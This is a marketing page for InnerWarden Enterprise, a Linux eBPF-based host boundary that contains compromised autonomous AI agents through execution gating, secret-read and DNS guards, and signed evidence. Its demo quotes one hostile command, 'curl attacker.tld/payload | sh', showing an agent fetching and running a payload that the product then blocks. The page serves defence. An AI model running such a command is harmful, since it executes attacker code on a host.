Give autonomous agents the access to be useful, without making their process the final security authority.
InnerWarden Enterprise adds a Linux host boundary outside the agent: observe what actually happens, deny unauthorized execution and secret access in the kernel, verify containment, and preserve the evidence.
Agent guardrails reduce risk before an action. Enterprise assumes one of those controls can eventually be bypassed and keeps the last decision at the host boundary.
On supported Linux kernels, an agent-scoped eBPF LSM gate denies unknown binaries before they start. Legitimate host workloads outside that process boundary continue normally.
bprm_check_security · scoped cgroup · hard EPERMSecret Read Guard protects declared sensitive paths, while DNS Guard pre-authorizes destinations. Both complement agent policy with controls outside the model context.
file_open LSM · DNS allow policy · local decisions82 host detectors and 69 cross-layer correlation rules connect agent intent to process, file, identity, and network behaviour.
eBPF telemetry · verified outcomes · autonomous responseLocal decision history, host and tenant attribution, correction records, and signed off-host anchors create evidence for incident response and security review.
append-only records · hash chain · signed anchorSwitch between expected work and a compromised-agent path. The demo shows where Community contributes context and where Enterprise makes the final host decision.
curl attacker.tld/payload | shThe tool chain is classified before it reaches the host.
signal · network + shell chainEnterprise enforces outside the compromised agent process.
EPERM · eBPF LSM gateAttempt, decision, and enforcing control form one record.
block hash · f2b7…1d09The agent-side context is compromised. The execution boundary is not: Linux denies the payload before it starts, then preserves the block as evidence.
InnerWarden does not present configuration as protection. The live control must be compatible, scoped, armed, and verified before the dashboard can claim enforcement.
Establish the agent, host, and workload boundary without changing execution.
Measure exactly what would be denied and resolve legitimate paths before cutover.
Arm only on a compatible Linux host after a clean rehearsal and explicit operator approval.
Compare configured state with the live kernel and retain the resulting evidence.
The Active Defence stack installs on a Linux server and comes up in observe mode: it watches the machine and explains what it sees, and blocks nothing until you decide it should.
curl -fsSL https://innerwarden.com/install | sudo bash -s -- --license=/path/to/license.keyInstalls the eBPF sensor, the host detectors, cross-layer correlation, autonomous response, and the Active Defence capabilities (Execution Gate, DNS Guard, anti-tamper watchdog). Linux only: eBPF needs a recent kernel and root. Prefer to read it first? Download the script, review it, then run it. Flags: ... | sudo bash -s -- --help
Full steps, verification, and the unattended flags are in the install documentation. Already running the free guardrail? It keeps working: Active Defence adds the host layer underneath it.
Community is deliberately useful on its own. Enterprise is not a feature unlock dressed as security; it adds the host-enforced, operationally verified boundary required for production autonomy.
Compare the tiersCross-platform command and MCP screening, agent discovery, AI Jail where supported, local decisions, dashboard, token intelligence, and alerts.
The Linux host sensor, eBPF visibility, agent-scoped kernel controls, autonomous response, signed evidence, and fleet or tenant operations.
In-path MCP proxy controls and the armed host or kernel boundary. Advisory checks alone remain bypassable if a hostile agent refuses to call them.
A supported Linux kernel with BPF LSM active, a verified live gate, an explicit scope, and a completed observe-and-rehearse workflow.
We scope one agent, one threat model, one Linux deployment, and measurable pass/fail criteria. You finish with a tested control boundary and evidence your security team can review.
Not ready for a production pilot? Install free and start building the agent decision history today.